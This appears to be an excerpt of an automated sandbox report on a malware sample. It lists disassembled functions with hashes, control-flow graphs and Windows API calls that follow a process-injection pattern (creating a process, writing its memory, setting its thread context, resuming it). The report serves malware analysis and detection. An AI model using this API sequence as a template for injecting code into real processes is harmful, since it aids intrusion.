                                                                                                      • Instruction Fuzzy Hash: 7A21F0B1D013499FDB10CFAAD884AEEFBF5BF48310F20842AE519A7250C7759A51CBA4
                                                                                                      Function 0663C4B0 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1658 663c4b0-663c546 NtProtectVirtualMemory 1661 663c548-663c54e 1658->1661 1662 663c54f-663c574 1658->1662 1661->1662
                                                                                                      APIs
                                                                                                      • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0663C539
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 2706961497-0
                                                                                                      • Opcode ID: 92fdf3e0b7a2a5f99cc7a4427a5075583a5bb9e1049c9f348402563fc718b45e
                                                                                                      • Instruction ID: 34fb2dae226f4037ba13e60dc10e3db35b34325dea1a8b4e1bc1c474fc443d10
                                                                                                      • Opcode Fuzzy Hash: 92fdf3e0b7a2a5f99cc7a4427a5075583a5bb9e1049c9f348402563fc718b45e
                                                                                                      • Instruction Fuzzy Hash: EA21F3B1D013499FDB10DFAAD880ADEFBF5BB48310F10842AE519A7250C7759950CBA4
                                                                                                      Function 0663E9D0 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • NtResumeThread.NTDLL(?,?), ref: 0663EA46
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ResumeThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 947044025-0
                                                                                                      • Opcode ID: 62d0450e9af3d958c419ec8d59fc13aaeaadd747480a8df0fa1974046806d862
                                                                                                      • Instruction ID: f6f57ab2d52a022b2285094c1ec054de9ac82fc2ddbe94d236a90efc96035a92
                                                                                                      • Opcode Fuzzy Hash: 62d0450e9af3d958c419ec8d59fc13aaeaadd747480a8df0fa1974046806d862
                                                                                                      • Instruction Fuzzy Hash: 162113B1D043498FDB20DFAAC4847EEFBF4AF48220F14842AD459A7241C7795945CFA5
                                                                                                      Function 0663E9D8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • NtResumeThread.NTDLL(?,?), ref: 0663EA46
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ResumeThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 947044025-0
                                                                                                      • Opcode ID: d39b997769f8d301f56132ec398802bbfcfc00b7fc2882062f0939fd53a4294f
                                                                                                      • Instruction ID: b15a754f1e69afceac38dca219e1105fbeb913ae8d0d01f4fcc18dc168a79116
                                                                                                      • Opcode Fuzzy Hash: d39b997769f8d301f56132ec398802bbfcfc00b7fc2882062f0939fd53a4294f
                                                                                                      • Instruction Fuzzy Hash: 2811D3B1D043489BDB10DFAAC4847AEFBF4BB48320F54842AD559A7240CB79A944CFA5
                                                                                                      Function 073113B9 Relevance: 1.2, Instructions: 1163COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858366424.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7310000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4e5114a73bc409dded3970f5ff4b0b045dfd07601be3ccafa5fe2ef40482cbad
                                                                                                      • Instruction ID: f42c2b095b253ec8aae8432884de86dad51b99c52c36baa34a3f25b9c83c5bdd
                                                                                                      • Opcode Fuzzy Hash: 4e5114a73bc409dded3970f5ff4b0b045dfd07601be3ccafa5fe2ef40482cbad
                                                                                                      • Instruction Fuzzy Hash: 31926DB050E3C5AFD7278B759C15B9A3FB5AF43300F194197E184DB2E2C6785849CB62
                                                                                                      Function 0733B718 Relevance: .4, Instructions: 437COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d111d0403c48d577e3f656556f776d53e45a17b1e3942633abb0a0301f7f016f
                                                                                                      • Instruction ID: 7f1674b23d499f186d835a53f9d489f219dd223cb7c3e08d313c2b3714d95f17
                                                                                                      • Opcode Fuzzy Hash: d111d0403c48d577e3f656556f776d53e45a17b1e3942633abb0a0301f7f016f
                                                                                                      • Instruction Fuzzy Hash: CA1226B4A01229CFEB64DF69D885B9AB7F6FB8A304F1091A9D50DA7344DB305D81CF11
                                                                                                      Function 0733B709 Relevance: .4, Instructions: 427COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e2ea880fcee8fb395132450cd837102b05aab5196e1a0f0ff9b41184e65a7f26
                                                                                                      • Instruction ID: 8560387b07d82294f13946b914588f5f08f99daab550681325d7cd464bb7c24d
                                                                                                      • Opcode Fuzzy Hash: e2ea880fcee8fb395132450cd837102b05aab5196e1a0f0ff9b41184e65a7f26
                                                                                                      • Instruction Fuzzy Hash: 3B1215B4A01229CFEB64DF69D885B9AB7F6FB89304F1081A9D50DA7388DB345D81CF11
                                                                                                      Function 077DEDF8 Relevance: .3, Instructions: 276COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1859158686.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_77c0000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c34f826891c2ba302201aeb495f751cfad60d42fd0ed5b98ecffcadf7e138268
                                                                                                      • Instruction ID: a66c536a3510dcf5c07f0d2ced1102576d1329c9403361ef0d66c7538aa7130d
                                                                                                      • Opcode Fuzzy Hash: c34f826891c2ba302201aeb495f751cfad60d42fd0ed5b98ecffcadf7e138268
                                                                                                      • Instruction Fuzzy Hash: 72D190B4E00218CFDB54DFA9D994B9DBBB2BF88704F1081A9D409AB365DB35AD81CF50
                                                                                                      Function 0733C758 Relevance: .3, Instructions: 260COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2d2c659a3748b88bbb2957fb20e4dc99c961065de0d10b6c8faaee55447ab063
                                                                                                      • Instruction ID: 63a9cff3e9724dcfd08225f87346964b8e3ae8aaaaf1bb89e03aa3dcf0ababdd
                                                                                                      • Opcode Fuzzy Hash: 2d2c659a3748b88bbb2957fb20e4dc99c961065de0d10b6c8faaee55447ab063
                                                                                                      • Instruction Fuzzy Hash: B6B107B4E04218CFEB24DFA9D844B9DB7F6BB89304F10A0A9D50DBB285DB755985CF10
                                                                                                      Function 0733C748 Relevance: .3, Instructions: 254COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ca2da42f631524d797e93892a6bcf7a36c1724501d4e4b229dfbc192065ff0d0
                                                                                                      • Instruction ID: dfaec24791f41950d12339b9c9320dd99f13efe34e09392e78b691f56f8b5c48
                                                                                                      • Opcode Fuzzy Hash: ca2da42f631524d797e93892a6bcf7a36c1724501d4e4b229dfbc192065ff0d0
                                                                                                      • Instruction Fuzzy Hash: AFB1F6B4E04219CFEB24CFAAD844B9DB7F2BB89304F10A0A9D50DBB285DB755985CF10
                                                                                                      Function 07333520 Relevance: .2, Instructions: 249COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a08e51906a82488296204e87898c027cdb9628de98297b92f7335a159a706eca
                                                                                                      • Instruction ID: f51a18bc3fc805e0b9a7d500050926eaf5622ea4ad20fa1bd3bef2172454b823
                                                                                                      • Opcode Fuzzy Hash: a08e51906a82488296204e87898c027cdb9628de98297b92f7335a159a706eca
                                                                                                      • Instruction Fuzzy Hash: 5AB1F3B0E15218CFEB64CFA9C584B9DBBF6FB49305F2190A9E409AB351DB749985CF00
                                                                                                      Function 07333511 Relevance: .2, Instructions: 243COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858578307.0000000007330000.00000040.00000800.00020000.00000000.sdmp, Offset: 07330000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7330000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0f2b84e53d826463c76a42a0f81ee2a71292a0290943227470374f9b8a89e35e
                                                                                                      • Instruction ID: 6202eb0cbd75ddcad921596a47e249567b44b231485a7a70d7344c6c28bf7a96
                                                                                                      • Opcode Fuzzy Hash: 0f2b84e53d826463c76a42a0f81ee2a71292a0290943227470374f9b8a89e35e
                                                                                                      • Instruction Fuzzy Hash: B1B1D1B4E11218CFEB64CFA9D584B9DBBF6FB49305F2190A9E409AB351DB349985CF00
                                                                                                      Function 0663CF01 Relevance: 1.7, APIs: 1, Instructions: 204processCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1040 663cf01-663cf78 1042 663cfb1-663cfd1 1040->1042 1043 663cf7a-663cf84 1040->1043 1050 663cfd3-663cfdd 1042->1050 1051 663d00a-663d044 1042->1051 1043->1042 1044 663cf86-663cf88 1043->1044 1045 663cfab-663cfae 1044->1045 1046 663cf8a-663cf94 1044->1046 1045->1042 1048 663cf96 1046->1048 1049 663cf98-663cfa7 1046->1049 1048->1049 1049->1049 1052 663cfa9 1049->1052 1050->1051 1053 663cfdf-663cfe1 1050->1053 1057 663d046-663d050 1051->1057 1058 663d07d-663d0f2 CreateProcessA 1051->1058 1052->1045 1055 663cfe3-663cfed 1053->1055 1056 663d004-663d007 1053->1056 1059 663cff1-663d000 1055->1059 1060 663cfef 1055->1060 1056->1051 1057->1058 1061 663d052-663d054 1057->1061 1070 663d0f4-663d0fa 1058->1070 1071 663d0fb-663d143 1058->1071 1059->1059 1062 663d002 1059->1062 1060->1059 1063 663d077-663d07a 1061->1063 1064 663d056-663d060 1061->1064 1062->1056 1063->1058 1066 663d062 1064->1066 1067 663d064-663d073 1064->1067 1066->1067 1067->1067 1068 663d075 1067->1068 1068->1063 1070->1071 1076 663d153-663d157 1071->1076 1077 663d145-663d149 1071->1077 1079 663d167-663d16b 1076->1079 1080 663d159-663d15d 1076->1080 1077->1076 1078 663d14b 1077->1078 1078->1076 1082 663d17b 1079->1082 1083 663d16d-663d171 1079->1083 1080->1079 1081 663d15f 1080->1081 1081->1079 1085 663d17c 1082->1085 1083->1082 1084 663d173 1083->1084 1084->1082 1085->1085
                                                                                                      APIs
                                                                                                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0663D0E2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CreateProcess
                                                                                                      • String ID:
                                                                                                      • API String ID: 963392458-0
                                                                                                      • Opcode ID: 288dc99490503514f201f0cfbfbc0338e884e323244a06cafc928245d388c4a4
                                                                                                      • Instruction ID: 3e3b6fc7f8c0ee41a4b0a24ba080e1689c09cf70055c8952470c3c16d3383742
                                                                                                      • Opcode Fuzzy Hash: 288dc99490503514f201f0cfbfbc0338e884e323244a06cafc928245d388c4a4
                                                                                                      • Instruction Fuzzy Hash: 9F811471D002699FDB50DFA9C8817EEBBF2BF48710F248529E855A7390DB758882CF81
                                                                                                      Function 0663CF08 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1086 663cf08-663cf78 1088 663cfb1-663cfd1 1086->1088 1089 663cf7a-663cf84 1086->1089 1096 663cfd3-663cfdd 1088->1096 1097 663d00a-663d044 1088->1097 1089->1088 1090 663cf86-663cf88 1089->1090 1091 663cfab-663cfae 1090->1091 1092 663cf8a-663cf94 1090->1092 1091->1088 1094 663cf96 1092->1094 1095 663cf98-663cfa7 1092->1095 1094->1095 1095->1095 1098 663cfa9 1095->1098 1096->1097 1099 663cfdf-663cfe1 1096->1099 1103 663d046-663d050 1097->1103 1104 663d07d-663d0f2 CreateProcessA 1097->1104 1098->1091 1101 663cfe3-663cfed 1099->1101 1102 663d004-663d007 1099->1102 1105 663cff1-663d000 1101->1105 1106 663cfef 1101->1106 1102->1097 1103->1104 1107 663d052-663d054 1103->1107 1116 663d0f4-663d0fa 1104->1116 1117 663d0fb-663d143 1104->1117 1105->1105 1108 663d002 1105->1108 1106->1105 1109 663d077-663d07a 1107->1109 1110 663d056-663d060 1107->1110 1108->1102 1109->1104 1112 663d062 1110->1112 1113 663d064-663d073 1110->1113 1112->1113 1113->1113 1114 663d075 1113->1114 1114->1109 1116->1117 1122 663d153-663d157 1117->1122 1123 663d145-663d149 1117->1123 1125 663d167-663d16b 1122->1125 1126 663d159-663d15d 1122->1126 1123->1122 1124 663d14b 1123->1124 1124->1122 1128 663d17b 1125->1128 1129 663d16d-663d171 1125->1129 1126->1125 1127 663d15f 1126->1127 1127->1125 1131 663d17c 1128->1131 1129->1128 1130 663d173 1129->1130 1130->1128 1131->1131
                                                                                                      APIs
                                                                                                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0663D0E2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CreateProcess
                                                                                                      • String ID:
                                                                                                      • API String ID: 963392458-0
                                                                                                      • Opcode ID: 7eba35965d317f4d535e8327a99bb8dbbea3ec68b7d4339214e3b748ee7aa2f5
                                                                                                      • Instruction ID: b9f25699e35c5ca7f159e641b6a0ded0c47c7cdeb6d2cb33d4873dde11679407
                                                                                                      • Opcode Fuzzy Hash: 7eba35965d317f4d535e8327a99bb8dbbea3ec68b7d4339214e3b748ee7aa2f5
                                                                                                      • Instruction Fuzzy Hash: FA811371D002699FDB50DFA9C8817EEBBF2BF48710F248529E855A7390DB758882CB81
                                                                                                      Function 07795800 Relevance: 1.6, Strings: 1, Instructions: 349COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1526 7795800-7795812 1527 779583c-7795840 1526->1527 1528 7795814-7795835 1526->1528 1529 779584c-779585b 1527->1529 1530 7795842-7795844 1527->1530 1528->1527 1532 779585d 1529->1532 1533 7795867-7795893 1529->1533 1530->1529 1532->1533 1536 7795899-779589f 1533->1536 1537 7795ac0-7795b07 1533->1537 1538 7795971-7795975 1536->1538 1539 77958a5-77958ab 1536->1539 1566 7795b09 1537->1566 1567 7795b1d-7795b29 1537->1567 1541 7795998-77959a1 1538->1541 1542 7795977-7795980 1538->1542 1539->1537 1543 77958b1-77958be 1539->1543 1546 77959a3-77959c3 1541->1546 1547 77959c6-77959c9 1541->1547 1542->1537 1545 7795986-7795996 1542->1545 1548 7795950-7795959 1543->1548 1549 77958c4-77958cd 1543->1549 1550 77959cc-77959d2 1545->1550 1546->1547 1547->1550 1548->1537 1553 779595f-779596b 1548->1553 1549->1537 1551 77958d3-77958eb 1549->1551 1550->1537 1557 77959d8-77959eb 1550->1557 1555 77958ed 1551->1555 1556 77958f7-7795909 1551->1556 1553->1538 1553->1539 1555->1556 1556->1548 1564 779590b-7795911 1556->1564 1557->1537 1559 77959f1-7795a01 1557->1559 1559->1537 1562 7795a07-7795a14 1559->1562 1562->1537 1565 7795a1a-7795a2f 1562->1565 1568 779591d-7795923 1564->1568 1569 7795913 1564->1569 1565->1537 1575 7795a35-7795a58 1565->1575 1574 7795b0c-7795b0e 1566->1574 1571 7795b2b 1567->1571 1572 7795b35-7795b51 1567->1572 1568->1537 1573 7795929-779594d 1568->1573 1569->1568 1571->1572 1576 7795b10-7795b1b 1574->1576 1577 7795b52-7795b7f call 7791070 1574->1577 1575->1537 1582 7795a5a-7795a65 1575->1582 1576->1567 1576->1574 1588 7795b81-7795b87 1577->1588 1589 7795b97-7795b99 1577->1589 1585 7795a67-7795a71 1582->1585 1586 7795ab6-7795abd 1582->1586 1585->1586 1594 7795a73-7795a89 1585->1594 1591 7795b89 1588->1591 1592 7795b8b-7795b8d 1588->1592 1612 7795b9b call 7795c18 1589->1612 1613 7795b9b call 7796dd8 1589->1613 1591->1589 1592->1589 1593 7795ba1-7795ba5 1595 7795bf0-7795c00 1593->1595 1596 7795ba7-7795bbe 1593->1596 1600 7795a8b 1594->1600 1601 7795a95-7795aae 1594->1601 1596->1595 1604 7795bc0-7795bca 1596->1604 1600->1601 1601->1586 1607 7795bdd-7795bed 1604->1607 1608 7795bcc-7795bdb 1604->1608 1608->1607 1612->1593 1613->1593
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1859050269.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_7790000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: d
                                                                                                      • API String ID: 0-2564639436
                                                                                                      • Opcode ID: bdd43b4249bb0c26d228490af606cdba67cd8ee8ae97cf6a19d35f9b03a9419c
                                                                                                      • Instruction ID: b18cd29f87001aa2c89d2b54d771ebae40ee5a0162dd0b8517a0035b150e1780
                                                                                                      • Opcode Fuzzy Hash: bdd43b4249bb0c26d228490af606cdba67cd8ee8ae97cf6a19d35f9b03a9419c
                                                                                                      • Instruction Fuzzy Hash: 61D1AD70600616CFCB15CF28D484A6ABBF6FF89310B59C969D45A9B3A1DB30FC52CB94
                                                                                                      Function 0663E363 Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1614 663e363-663e3b6 1616 663e3c6-663e405 WriteProcessMemory 1614->1616 1617 663e3b8-663e3c4 1614->1617 1619 663e407-663e40d 1616->1619 1620 663e40e-663e43e 1616->1620 1617->1616 1619->1620
                                                                                                      APIs
                                                                                                      • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0663E3F8
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessWrite
                                                                                                      • String ID:
                                                                                                      • API String ID: 3559483778-0
                                                                                                      • Opcode ID: 9bb0e33fbb0f920bdc8651c0a0801fc61eb8bb051d6c36e88f3bb008acc41c74
                                                                                                      • Instruction ID: 98e4e2fe4fb0c65d3e7a7809615f8f6113641619d4487408cc0b0f45b38dce3f
                                                                                                      • Opcode Fuzzy Hash: 9bb0e33fbb0f920bdc8651c0a0801fc61eb8bb051d6c36e88f3bb008acc41c74
                                                                                                      • Instruction Fuzzy Hash: 482144719003599FDF10CFAAC885BEEBBF1FF48310F14842AE959A7241C7799951CBA4
                                                                                                      Function 0663E368 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1624 663e368-663e3b6 1626 663e3c6-663e405 WriteProcessMemory 1624->1626 1627 663e3b8-663e3c4 1624->1627 1629 663e407-663e40d 1626->1629 1630 663e40e-663e43e 1626->1630 1627->1626 1629->1630
                                                                                                      APIs
                                                                                                      • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0663E3F8
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessWrite
                                                                                                      • String ID:
                                                                                                      • API String ID: 3559483778-0
                                                                                                      • Opcode ID: 1885eda3d0fa22c14f32b2eb7edd5af4062f964160330d35ad317eb568c893d3
                                                                                                      • Instruction ID: 0893da06a02933d1bc440a775a9ea512aa66a8cbeae78ce7823427fcf0da5803
                                                                                                      • Opcode Fuzzy Hash: 1885eda3d0fa22c14f32b2eb7edd5af4062f964160330d35ad317eb568c893d3
                                                                                                      • Instruction Fuzzy Hash: 8E2125759003599FDF10CFAAC885BEEBBF5FF48310F10842AE919A7250D7799950CBA4
                                                                                                      Function 02BDEBF4 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1634 2bdebf4-2bdf0c4 DuplicateHandle 1636 2bdf0cd-2bdf0ea 1634->1636 1637 2bdf0c6-2bdf0cc 1634->1637 1637->1636
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02BDEFF6,?,?,?,?,?), ref: 02BDF0B7
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1819964785.0000000002BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_2bd0000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID:
                                                                                                      • API String ID: 3793708945-0
                                                                                                      • Opcode ID: 0da707ab6f50e86fb23531cc4805420705eed352d3290f861d80806f03bed2f2
                                                                                                      • Instruction ID: 01cfc6649c8a316febd6d8e9b9f357639c8c4a67ee3bf248bfdf7434a68b4e36
                                                                                                      • Opcode Fuzzy Hash: 0da707ab6f50e86fb23531cc4805420705eed352d3290f861d80806f03bed2f2
                                                                                                      • Instruction Fuzzy Hash: 4C2103B5901348AFDB10CFAAD884BEEBBF4EB48310F14805AE915A3350D374A940CFA5
                                                                                                      Function 0663D6C0 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1640 663d6c0-663d713 1642 663d723-663d753 Wow64SetThreadContext 1640->1642 1643 663d715-663d721 1640->1643 1645 663d755-663d75b 1642->1645 1646 663d75c-663d78c 1642->1646 1643->1642 1645->1646
                                                                                                      APIs
                                                                                                      • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0663D746
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ContextThreadWow64
                                                                                                      • String ID:
                                                                                                      • API String ID: 983334009-0
                                                                                                      • Opcode ID: 75dd3401cbcd37eeaf4624fd53ce73e25dfc6cf7e6bba714896334a6143baa2e
                                                                                                      • Instruction ID: 02edf86204bede22dd824a5ac93cd4468a4f0af3456243ce6938cdd2d3df0d87
                                                                                                      • Opcode Fuzzy Hash: 75dd3401cbcd37eeaf4624fd53ce73e25dfc6cf7e6bba714896334a6143baa2e
                                                                                                      • Instruction Fuzzy Hash: 45216871D003088FDB50CFAAC4857EEBBF0AF48314F14842ED559A7240C778AA45CFA4
                                                                                                      Function 0663D6C8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1666 663d6c8-663d713 1668 663d723-663d753 Wow64SetThreadContext 1666->1668 1669 663d715-663d721 1666->1669 1671 663d755-663d75b 1668->1671 1672 663d75c-663d78c 1668->1672 1669->1668 1671->1672
                                                                                                      APIs
                                                                                                      • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0663D746
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1855059564.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_6630000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ContextThreadWow64
                                                                                                      • String ID:
                                                                                                      • API String ID: 983334009-0
                                                                                                      • Opcode ID: 847ec94989eda092e449d6bdce40335d2adcba4d2b01170452ea153d5a2ea4e2
                                                                                                      • Instruction ID: 97843c4cc93652dda9fee75d03633ec1118c19f19c45032c2ad46aee9edfc77d
                                                                                                      • Opcode Fuzzy Hash: 847ec94989eda092e449d6bdce40335d2adcba4d2b01170452ea153d5a2ea4e2
                                                                                                      • Instruction Fuzzy Hash: 42213571D003088FDB50DFAAC4857EEBBF4AF48324F14842AD559A7240C778AA44CFA5
                                                                                                      Function 072BF438 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualProtect.KERNEL32(?,?,?,?), ref: 072BF4AC
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000005.00000002.1858052518.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_5_2_72b0000_RealErrorObject.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 544645111-0
                                                                                                      • Opcode ID: 99420d6388ead63e75fa9a9ebeb0b7df21fcc55913814cdbc61047c24a92b4df
                                                                                                      • Instruction ID: 05c6e31b13277787fd13f8c3f044d4c2a1730ca43f147f1aef2af456d2eb39cb
